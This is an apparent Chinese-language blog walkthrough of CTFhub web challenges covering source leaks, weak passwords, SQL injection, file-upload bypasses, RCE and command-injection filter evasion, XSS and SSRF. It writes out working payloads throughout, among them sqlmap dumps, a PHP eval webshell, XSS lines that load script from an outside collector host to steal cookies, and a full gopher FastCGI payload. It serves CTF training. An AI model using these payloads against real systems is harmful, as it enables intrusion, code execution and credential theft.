CTF—web基礎

Gsupl.落浅~發表於2024-08-28

一:資訊洩露

1、目錄遍歷漏洞

(1)原理:本質是沒有過濾使用者輸入的 ../ 相關的目錄跳轉符,使得攻擊者透過目錄跳轉符來遍歷伺服器中的任意檔案。
(2)題解:
eg:根據提示遍歷網頁目錄資訊,會在某一個資料夾中發現一個flag.txt檔案
image

2、phpinfo洩露

(1)定義:phpinfo 是 PHP中內建的函式,用於顯示 PHP 的配置資訊和當前執行環境的相關資訊
(2)phpinfo洩露資訊

system : 提供伺服器所在的作業系統的資訊。
$_SERVER[‘SERVER_ADDR’]: 公網IP地址
CONTEXT_DOCUMENT_ROOT : web根目錄
disable_functions: 網站禁用函式

(3)題解:
直接ctrl+f在phpinfo中找到flag
eg:
image

3、備份檔案下載

(1)網站原始碼洩露
常見的網站原始碼備份檔名稱

web,website,backup,back,www,wwwroot,temp

題解:python指令碼爆破/使用dirmap工具;本質都是透過字典進行爆破;
python指令碼:
發現www.zip的狀態碼為200
image
dirmap工具:
image
image
(2)bak檔案洩露
定義:bak檔案就是網站備份檔案,訪問url/index.php.bak檔案下載index原始碼獲得flag
dirmap工具:
image
image
(3)vim快取洩露
當開發人員線上上環境中使用 vim 編輯器,在使用過程中會留下 vim 編輯器快取,當vim異常退出時,快取會一直留在伺服器上,引起網站原始碼洩露

vim一旦異常退出就會生成`.swp檔案`,還有一種就是生成了index.php~檔案;都屬於vim快取洩露,注意是隱藏檔案;隱藏檔案要加點.

題解:題目提示flag在index.php原始碼中;利用dirmap目錄掃描工具進行掃描;掃描到了/.index.php.swp;訪問 /.index.php.swp 直接下載找到flag。
eg:
image
(4).DS_Store 是 Mac OS 儲存資料夾的自定義屬性的隱藏檔案。透過.DS_Store可以知道這個目錄裡面所有檔案的清單。
eg:
image
直接在linux中使用cat命令看到txt檔案,然後直接訪問拿到flag
image

4、git洩露

思路:先用dirmap(比dirserch更好用)進行目錄掃描;檢視目錄是否有git檔案;如果有就使用githak工具或者wget下載洩露的原始碼!,下載洩露的git原始碼(然後在git原始碼中尋找flag)
(1)log洩露
以CTFhub-git洩露-log題目為例;首先對目標進行目錄掃描;發現了git洩露
輸入:
python2 GitHack.py http://challenge-9d92566392cb6f52.sandbox.ctfhub.com:10800/.git
image
進入dist/challenge-9d92566392cb6f52.sandbox.ctfhub.com_10800``dist目錄就是工具githack將洩露的原始碼下載儲存的地方;輸入git show,找到flag

git log 檢視歷史版本
git show 顯示數值
git diff 版本對比
git reset 版本回退

image
(2)Stash洩露
使用dirmap對目標網站進行掃描;發現.git檔案,使用githack下載.git原始碼
image
使用githack工具;輸入:
python2 GitHack.py http://challenge-b09e9adae5e86058.sandbox.ctfhub.com:10800/.git
image
進入dist/challenge-b09e9adae5e86058.sandbox.ctfhub.com_10800
image
輸入git log,發現出現了remove flag;輸入git stash list ,然後出現了txt文件;直接檢視得到flag

git stash pop 恢復快取之前的工作目錄
git stash list 檢視儲存

image
(3)index洩露
使用目錄掃描工具掃描一下;發現.git檔案;直接使用githack;進入dist目錄;輸入git show直接得到flag
dist目錄就是工具githack將洩露的原始碼下載儲存的地方
image

5、SVN洩露

1、工具安裝
(1)安裝dvcs-ripper
https://github.com/kost/dvcs-ripper
2、執行
(1)輸入
./rip-svn.pl -u http://challenge-28cf1b40130e63b6.sandbox.ctfhub.com:10800/.svn
出現如下報錯
image
輸入
apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
(2)重新執行,成功
image
(3)尋找flag
注:.svn/pristine目錄包含檔案的原始、未修改版本
進入/home/…/svn/.svn/pristine,檢視bf目錄內容沒有找到flag
image
進入4a目錄,檢視內容找到flag
image

6、HG洩露

(1)還是使用上面的dvcs-ripper工具;下載hg原始碼,一個一個目錄進,檢視flag
輸入
./rip-hg.pl -u http://challenge-fe933d0b3e2b1c13.sandbox.ctfhub.com:10800/.hg
image
目錄會出現.hg檔案,是隱藏的;進入.hg檔案尋找flag(一個一個找,找到了flag.txt;直接訪問拿到flag)
image
image

二:密碼口令

思路:考察對bp工具的使用以及對題目的分析能力!

1、弱口令

(1)自行檢視本人文章DVWA靶場通關教程;此處不再講解BP爆破
(2)開始爆破(github自行尋找字典)
(3)爆破出admin/admin888;拿到flag
image
image

2、預設口令

(1)github上面直接尋找eYou郵件閘道器預設口令;直接爆破拿下flag
image
image

三:SQL隱碼攻擊

思路:ctf題目考察這一點的話肯定是從在漏洞的;無須挖掘漏洞!一般過程就是:首先判斷資料的傳值方式(GET/POST):如果是GET方式直接嘗試用sqlmap工具跑;如果能跑出來萬事大吉;如果跑不出來具體分析程式碼;看是否有過濾措施;根據相應的過濾措施制定繞過方法,最終拿到flag;如果是POST傳值的話有三種爆破方式"抓包儲存為.txt然後使用工具爆破,使用-r引數進行爆破""增加--data引數""使用hackbar外掛手工注入”

1、數字型注入

(1)informartion_schema
該資料庫中table_name;table_schema;column_name三個欄位分別表示存放“表名;資料庫名;欄位名”的欄位;其中informartion_schema.tables存放所有的表;informartion_schema.columns存放所有的欄位
(2)題解:
手工注入:

注入點:select * from news id=1
判斷欄位數 select * from news id=-1 union order by 2
查詢資料庫名稱和版本 -1 union database(),version() //資料庫為sqli
查詢表名 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() //表名為flag
查詢欄位名 -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'
//欄位為flag
查詢內容 -1 union select 1,group_concat(flag) from flag
//從flag表中查詢flag欄位的內容

工具注入:

爆破dbs
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -dbs
爆破tables
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -D sqli --tables
爆破columns
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -D sqli -T flag -columns
爆破dump
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -D sqli -T flag -C flag -dump

image

2、字元型注入

(1)
手工注入:發現是字元型;需要構造閉合逃逸單引號;使用# --+ or三種的方式閉合!;其中# --+是資料庫中的註釋字元!

注入點:select * from news where id='1' 
//使用1'#閉合;輸出結果為 '1' #'
欄位數:1' order by 1,2#
//欄位數為2
顯示位 1' union select 1,2#
資料庫和版本資訊:-1' union select database(),version()#
表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
//表名為flag
欄位名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
//欄位為flag
內容:-1' union select 1,group_concat(flag) from flag#

工具注入:url:還是get方式提交資料;同上!
image

3、報錯注入

(1)手工注入:

  • floor()
# paylod
# group by是分組;concat<==>group_cancat都是拼接函式
# 替換version()完成注入
Id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • updatexml(data1,data2,data3)

Data1:xml文件物件的名稱

Data2:xpath格式的字串;不符合xpath格式會報錯

Data3:新的替換格式

# Payload:
# 
Select * from admin where id =1 and upadtexml(1,concat(0x7e,version(),0x7e),1);

  • extractvlaue()
# Payload
Select * from admin where id=1 and extractvalue(1,concat(0x7e,version,0x7e));
//直接替換version();比如查詢資料庫;就替換成database()

(2)工具注入:
檢視url還是get方式提交資料;同上!
ctfhub{d21c4f507bd542ffbf84e341}

4、布林盲注

(1)手工注入
eg:頁面會根據注入的資訊返回success和fail;使用者根據頁面的回顯資訊不斷的區猜解資料庫的具體資訊;手工就是使用bp一個字元一個字元的去爆破!

獲取資料庫長度:id=1 and length(database())=num
//使用bp爆破
獲取資料庫名稱:
id=1 and substr(database(),1,1)='a'
//爆破資料庫第一個字母;根據length爆破,(1,1)表示從1開始擷取一個字元,那麼第二個字元就是(2,1),一次類推
id=1 and ascii(substr(database(),1,1))=96//假設資料庫為sqli
獲取表名稱
id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)
//擷取第一個表的第一個字元,mid<=>substr
獲取欄位名稱
id=1 and(ord(mid(select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1)
//獲取第一個欄位的子一個字母。其中(limit 1,1)表示第一個欄位,(mid 1,1)表示第一個欄位的第一個字母
獲取內容
id=1 and(mid(select 欄位 from 表名),1,1)=97//bp抓包爆破

(2)sqlmap自動化注入

//使用--technique B指定sql注入利用的技術;其中B布林盲注
Python sqlmap.py -u “url” --technique B  -batch -dbs
Python sqlmap.py -u “url” --technique B  -batch -D admin -tables
Python sqlmap.py -u “url” --technique B  -batch -D admin -T flag
Python sqlmap.py -u “url” --technique B  -batch -D admin -T flag -columns
Python sqlmap.py -u “url” --technique B  -batch -D admin -T flag -C username,password -dump

image

5、時間盲注

(1)手工注入:

# 獲取資料庫長度
# 資料庫長度為7則執行sleep7,否則不執行
id=1 and if(length(database()=7,sleep(3),null)
#獲取資料庫名稱
# 資料庫第一個字元為w執行sleep(3),否則為null
id=1 and if(substr(database(),1,1)='w',sleep(3),null)
#獲取表名稱
#limit 0,1 <==> 1 offset 0 表示第一個表
# substr 1,1 <==> from 1 for 1 表示第一個表的第一個字元
# 第一個表的第一個字元為a執行sleep(3),否則不執行
id=1 and if((substr(select table_name from information_schema.tables where table_schema=database()limit 0,1)1,1)='a')),sleep(3),null)
#獲取欄位
id=1 and if((substr(select column_name form information_schema.columns where table_name=’admin’ limit 0,1),1,1)=’a’),sleep(3),null)
#查詢資料內容
id=1 and if((substr(select user from user limit 0,1),1,1)=’a’),sleep(3),null)

(2)工具注入
判斷url,還是以GET方式進行傳參;同上!
image

6、mysql結構

(1)判斷url,還是以GET方式進行傳參;同上!
image
找到flag!
image

7、過濾空格

(1)判斷url;傳值方式;發現還是GET,嘗試用工具跑;發現跑不來;分析程式碼;發現對空格進行了過濾;空格繞過的話,sqlmap是直接跑不出來的,使用 /**/ 繞過空格就可以用sqlmap工具進行爆破;使用如下url:
http://challenge-bf09b84c446b8972.sandbox.ctfhub.com:10800/?id=1/**/or/**/1=1;同上進行爆破!

8、cookie注入

(1)根據提示是cookie注入(就是cookie中出現id=1的傳遞引數);所以直接用抓包進行手工注入
示例cookie:
image
判斷列數:

Cookie: id=1 order by 1,2;

判斷注入點:

Cookie: id=-1 union select 1,database();

image
爆破資料庫:

Cookie: id=-1 union select 1,database();

image

image
爆破錶:

Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);

爆破欄位

Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='nlcalxydrn' limit 0,1);

爆破內容:

Cookie: id=-1 union select 1,(select bthklxaibf from pmztnmplmx limit 0,1);
得到flag
ctfhub{5b6afeee77278e163c7b8697}

9、UA注入

(1)和cookie注入類似。還是透過bp抓包;只不過是注入的位置發生了變化;從cookie變成user_agent
(2)過程

測試注入點(發現並沒有過濾)

image
image

判斷列名:1 order by 1,2,3

image

判斷注入點 -1 union select 1,2
爆破資料庫 -1 union select 1,database()
爆破錶 -1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
爆破欄位 -1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='uztgkqmitp' limit 0,1)
爆破內容 -1 union select 1,(select zecqtvxwmf from uztgkqmitp limit 0,1)

拿到flag
image

10、refer注入

(1)利用hackbar外掛不斷地修改refer的值;和上面過程相同,此處就不過多贅述!

三:檔案上傳

思路:考察各種檔案上傳的逃過思路以及對php程式碼的審計能力;能夠根據php後端程式碼分析出過濾機制;找到正確的繞過方式!

1、無驗證

(1)分析後端程式碼發現沒有對上傳的檔案做任何的過濾;直接製作一句話木馬上傳;使用蟻劍連線;找到flag
image

2、前端驗證

程式碼分析:透過分析程式碼發現javascript程式碼對檔案的型別進行了過濾
(1)修改content-type;DVWA靶場演示過;跳過!
思路:嘗試直接上傳發現無法上傳;首先上傳一個正常jpg檔案抓包獲取content_type的值;上傳一句話木馬修改content-type的值;繞過前端驗證
(2)修改字尾:將1.php修改為1.png;然後bp抓包在修改成1.php即可繞過前端驗證
image
拿到flag:
image
(3)f12;找到設定,禁用js程式碼直接繞過驗證!

3、.htaccess

(1)定義:.htaccess是一個配置檔案,用於執行Apache網路伺服器軟體的網路伺服器上。當.htaccess檔案被放置在一個 "透過Apache Web伺服器載入 "的目錄中時,.htaccess檔案會被Apache Web伺服器軟體檢測並執行。這些.htaccess檔案可以用來改變Apache Web伺服器軟體的配置,以啟用/禁用Apache Web伺服器軟體所提供的額外功能和特性。
(2)思路:
檢視網站前端程式碼,發現程式碼過濾了很多檔案的字尾名;繞過前端驗證也不行於是可以上傳一個png格式的一句話木馬;然後上傳一個.htaccess檔案(.htaccess檔案的作用就是將png檔案當作php檔案執行)
(3)題解:
上傳一個png的一句話木馬;然後上傳.htaccess檔案;裡面的內容為

AddType application/x-httpd-php .png  			//.png檔案當作php檔案解析

上傳成功之後apache伺服器就會解析這個.htaccess檔案;然後會把png格式的檔案當作php執行;那麼就可以觸發png的木馬了
上傳成功;拿到flag:
image
image

4、MIME繞過

(1)題解:MIME驗證就是判斷Content-Type的是否合法;如果不合法就不允許上傳;直接修改contet-type的值為允許的值;比如修改為png格式;繞過驗證!拿到flag
image

5、檔案頭檢查

(1)思路:bp抓包;然後在資料包前面加上檔案的頭部資料即可GIF89a
(2)題解:上傳圖片馬提示檔案頭部錯誤;分析後端程式碼發現對檔案的頭部進行了檢驗;和前端驗證一樣;加上檔案頭部即可並且修改字尾php;直接bp抓包;直接上傳成功;拿到flag;或者在010editor中加上檔案頭部上傳也可以!
image

6、%00截斷

(1)思路:用burp 抓包 在 “upload/” 後門新增 1.php%00 提交 ;上傳成功;拿到flag
image

7、雙寫字尾

(1)思路:就是後端程式碼對php;jsp;asp等字元進行了替換;我們可以雙寫繞過拿到flag
image

8、其餘型別

注意:其餘型別自行查詢!

四:RCE

簡介:RCE稱為遠端程式碼執行漏洞;是網際網路的一種安全漏洞;攻擊者可以直接向後臺伺服器遠端注入作業系統命令;從而操控後臺系統;也是CTF比較常考的一個方面

1、eval執行

(1)分析後端程式碼:
if (isset($_REQUEST['cmd']))檢查是否從存在cmd引數;eval($_REQUEST["cmd"])如果cmd引數存在的話,則eval()函式會將使用者傳遞進來的引數當作php程式碼執行!
image
(2)檢視網站當前目錄

/?cmd=system(“ls”);

頁面回顯出來了index.php資訊;並沒有有用的檔案;我們看一下上一級目錄有啥檔案吧;輸入

/?cmd=system(“ls  /”);

好像找到了有關flag的資訊
image
檢視檔案的資訊

?cmd=system("cat /flag_26015");

拿到flag
image

2、檔案包含

檔案包含
(1)分析後端程式碼
根據後端程式碼;首先輸入?file=shell.txt;發現出現了eval函式;和上面不同的是透過post提交資料的;需要用hackbar外掛或者透過bp抓包重發修改資訊
(2)檢視當前的目錄檔案(發現了index.php;shell.txt)
image
檢視上一級目錄的資訊(看到etc flag檔案)

ctfhub=system("ls /")

image
檢視flag;輸入

ctfhub=system("cat /flag");

image

php://input偽協議
(1)php://input
php://input用於執行php程式碼;條件是allow_url_include是On;檢視phpinfo檔案;檢視發現滿足條件,直接利用!
(2)使用bp抓包;傳送到重發器模組當中;修改為post請求方式;增加<?php system('ls /');?>點選send看到上一級目錄有flag資訊
image

修改為<?php system("cat /flag_27289");?>拿到flag
image

遠端包含
(1)發現有phpinfo檔案;進去看看;可以進行遠端包含(allow_url_include=ON);可以使用php://input執行php函式
image
(2)利用hackbar外掛(這裡用不了;因為提交資料的方式是GET;只能用bp抓包重放修改資訊
過程:url+?file=php://input;點選抓包;傳送到repeater模組;然後修改GET為post;增加<?php system("ls /");?>;點選send;獲得上一級目錄資訊;看到flag資訊
image
修改playload:<?php system("cat /flag");?>;拿下flag
image

讀取原始碼
(1)這是嘗試了一下php://input;發現漏洞點不在這;那可能就是php://filter;php://filter用於讀取原始碼
image

(2)
題目提示:flag在 /flag當中;所以直接構造?file=php://filter/resource=../../../flag

http://URL/?file=php://filter/resource=../../../flag

image
image

3、命令注入

先導知識:
image

命令注入無過濾
(1)明確題目意思;檢視當前目錄下的檔案

127.0.0.1|ls 

image

使用cat 命令檢視207971175014811.php檔案;發現打不開;f12直接檢視原始碼直接拿到flag;大佬的另一種方法就是使用base64解密

127.0.0.1|cat 14430616024597.php|base64

image
base64解密拿到flag
image
過濾cat
(1)cat命令被過濾了,在linux當中檢視檔案內容的命令有很多;比如 more head tail less;
eg:
cat 由第一行開始顯示內容,並將所有內容輸出 tac 從最後一行倒序顯示內容,並將所有內容輸出 more 根據視窗大小,一頁一頁的現實檔案內容 less 和more類似,但其優點可以往前翻頁,而且進行可以搜尋字元 head 只顯示頭幾行 tail 只顯示最後幾行
輸入:
127.0.0.1& more flag_90501846017901.php|base64

解密拿到flag

過濾空格
(1)分析後端程式碼發現對空格進行了過濾;使用<;ifs ${IFS} %0d 等等代替空格(參考web滲透—RCE)
127.0.0.1&cat<flag_20135747217897.php|base64
過濾目錄分隔符
(1)輸入127.0.0.1;ls,發現了flag_is_here目錄;然後進入這個目錄;檢視這個目錄包含的檔案;輸入127.0.0.1;cd flag_is_here;ls;發現了flag_4635141399483.php;輸入:127.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64,拿到flag;或者直接f12

過濾運算子
(1)發現用不了運算子號了;那就使用;;然後輸入127.0.0.1;cat flag_29492699725561.php直接f12檢視原始碼;或者輸入
127.0.0.1 ; base64 flag_29492699725561.php直接得到flag

綜合過濾練習
自行尋找替換;很簡單!為減少篇幅,此處不做過多贅述!
(1)檢視伺服器下的檔案
&& <==> || <==> %0a <==> %0d
?ip=127.0.0.1%0als
image
空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><
(2)檢視存在flag檔案目錄下的檔案

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

image
(3)檢視flag檔案的內容

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php

image

六:XSS

1、搭建XSS平臺

搭建藍蓮花
(1)下載BlueLotus_XSSReceiver;解壓到PHP study的www目錄下;然後訪問127.0.0.1/BlueLotus_XSSReceiver;初始化登入
image
搭建XSS platform平臺
此處省略!很簡單;自己尋找教程搭建!

2、反射型

(1)首先嚐試用藍蓮花xss平臺打cookie;但是不知道哪個步驟出現問題;老是獲取不了cookie
示例:
payload:
image
獲取響應:
image
結果:(就是沒有cookie;不知道哪個環境出現問題)
image
(2)嘗試了大佬的線上xss平臺;成功了。自己重新搭建了一個另一個xss平臺也成功拿到flag;需要在docker容器搭建,不演示了);但是藍蓮花的這個問題一直沒有被解決;就是很垃圾!

線上xss平臺:https://xssaq.com/(該平臺主機上線有提示語音並且功能比藍蓮花和我搭建的另一個xss平臺都好,所以就藉助大佬搭建的xss平臺作為本期演示平臺)
成功拿到flag
image

3、儲存型

(1)將payload上傳到第一個輸入框
image
此時主機上線不攜帶cookie
image
將url輸入到第二個輸入框;xss平臺提示上線成功,此時攜帶cookie
image
還能看到當前的網頁截圖
image

4、DOM反射

(1)首先插入<script>alert(1)</script>,發現攻擊不成功,而返回的是;我們檢視原始碼發現需要構造閉合

image
'></script><script>alert(1)</script>
發現成功了!
image
構造payload'></script><sCRiPt sRC=//xs.pe/cqW></sCrIpT>,獲取flag
image

5、DOM跳轉

(1)首先嚐試,不成功;嘗試構造js語句
http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800?jumpto=javascript:alert(1)
發現成功了,那麼直接使用xss平臺獲取cookie
http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xs.pe/cqW")
拿到flag

6、過濾空格

(1)使用paylod發現空格被過濾了<sCRiPt sRC=//xs.pe/cqW></sCrIpT>
(2)直接使用/**/代替空格即可繞過

<sCRiPt/**/sRC=//xs.pe/cqW></sCrIpT>

image
拿到flag
image

7、過濾關鍵詞

(1)正交提交指令碼測試發現將scr開頭的單詞全部替換為空
image
(2)嘗試了雙寫;不行;那就嘗試一下大小寫吧;好像可以;直接注入payload拿到flag
image

六:SSRF

1、內網訪問

(1)題目提示:訪問位於127.0.0.1的flag.php;直接利用ssrf漏洞訪問
?url=127.0.0.1/flag.php

2、偽協議讀取檔案

(1)題目提示:嘗試去讀取一下Web目錄下的flag.php吧
(2)什麼是偽協議?

file:// 協議:訪問本地檔案系統;在ctf考察中通常來讀取web目錄的檔案
http/s協議;探測內網主機存活
dict協議:洩露安裝軟體版本資訊,檢視埠,操作內網redis服務等
Gopher協議可以說是SSRF中的萬金油。利用此協議可以攻擊內網的 Redis、Mysql、FastCGI、Ftp等等,也可以傳送 GET、POST 請求。這無疑極大拓寬了 SSRF 的攻擊面。

(3)構造payload(web根目錄一般都是var/www/html)
/?url=file:///var/www/html/flag.php
f12拿到flag
image

3、埠掃描

(1)直接python寫一個字典指令碼;使用bp進行爆破;直接拿下flag
python指令碼:

with open("password.txt", "w") as file:
    for i in range(8000, 9001):
        file.write(f"{i}\n")

image

4、post請求

(1)根據題目提示,一共有三個php檔案;分別是flag.php、302.php、index.php;訪問一下flag.php
http://challenge-10193e76d50d08cb.sandbox.ctfhub.com:10800?url=127.0.0.1/flag.php
f12發現了key;分析原始碼發現需要向伺服器傳送key才能拿到flag;於是構造post請求;使用gopher://協議進行傳輸;(自行了解);拿到flag

5、檔案上傳

(1)構造payload;發現了檔案上傳點
/?url=127.0.0.1/flag.php
直接上傳檔案;但是發現沒有上傳按鈕,修改html程式碼,增加提交按鈕
<input type="submit" value="提交">
上傳木馬;但是發下上傳不上去;那就是用gopher協議

6、FastCGI協議

(1)解釋
fastcgi協議則是伺服器中介軟體和某個語言後端進行資料交換的協議。Fastcgi協議由多個record組成,record也有header和body一說,伺服器中介軟體將這二者按照fastcgi的規則封裝好傳送給語言後端,語言後端解碼以後拿到具體資料,進行指定操作,並將結果再按照該協議封裝好後返回給伺服器中介軟體
(2)藉助gopherus,構造從127.0.0.1訪問payload,訪問目錄下的index.php, 別問我怎麼知道在/var/www/html下有一個index.php檔案;然後輸入index.php目錄,執行一下ls
image
自行下載gopherus-maste工具
image
把這一大段拉出來,準備二次編碼
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
寫一個python指令碼,把上述payload進行二次編碼;把二次編碼後的結果拿出來;放到url;用上述相同的方法讀取根目錄,這次的RCE遠端執行命令為ls /,檢視html的上級目錄,看到flag
image

7、Redis協議

(1)Redis是一個流行的開源記憶體資料管理系統,預設埠為6379。客戶端和Redis伺服器透過這個埠進行通訊,客戶端連線到Redis伺服器後,對其中的資料進行讀寫等操作。因此,這個埠也是攻擊者的常見攻擊目標
(2)還是用gopherus

python2 gopherus.py –exploit redis
PHPShell
<?php eval($_POST["aaa"])?>

antsword連線
image
拿到flag
image

8、URL Bypass

(1)請求的URL中必須包含http://notfound.ctfhub.com,來嘗試利用URL的一些特殊地方繞過這個限制吧;利用@如http://notfound.ctfhub.com@www.bbb.com, php會識別www.bbb.com

9、數字IP Bypass

(1)這次ban掉了127以及172.不能使用點分十進位制的IP了。但是又要訪問127.0.0.1。該怎麼辦呢;進位制轉換
?url = 0x7f.0.0.1/flag.php

10、DNS重繫結 Bypass

(1)生存時間(Time To Live)”- 簡單的說它表示DNS記錄在DNS伺服器上快取時間,數值越小,修改記錄各地生效時間越快。
當各地的DNS(LDNS)伺服器接受到解析請求時,就會向域名指定的授權DNS伺服器發出解析請求從而獲得解析記錄;該解析記錄會在DNS(LDNS)伺服器中儲存一段時間,這段時間內如果再接到這個域名的解析請求,DNS伺服器將不再向授權DNS伺服器發出請求,而是直接返回剛才獲得的記錄;而這個記錄在DNS伺服器上保留的時間,就是TTL值。
常見的設定TTL值的場景:
1.增大TTL值,以節約域名解析時間
2.減小TTL值,減少更新域名記錄時的不可訪問時間

 注:web方向的基礎篇到此結束!謝謝大家!

相關文章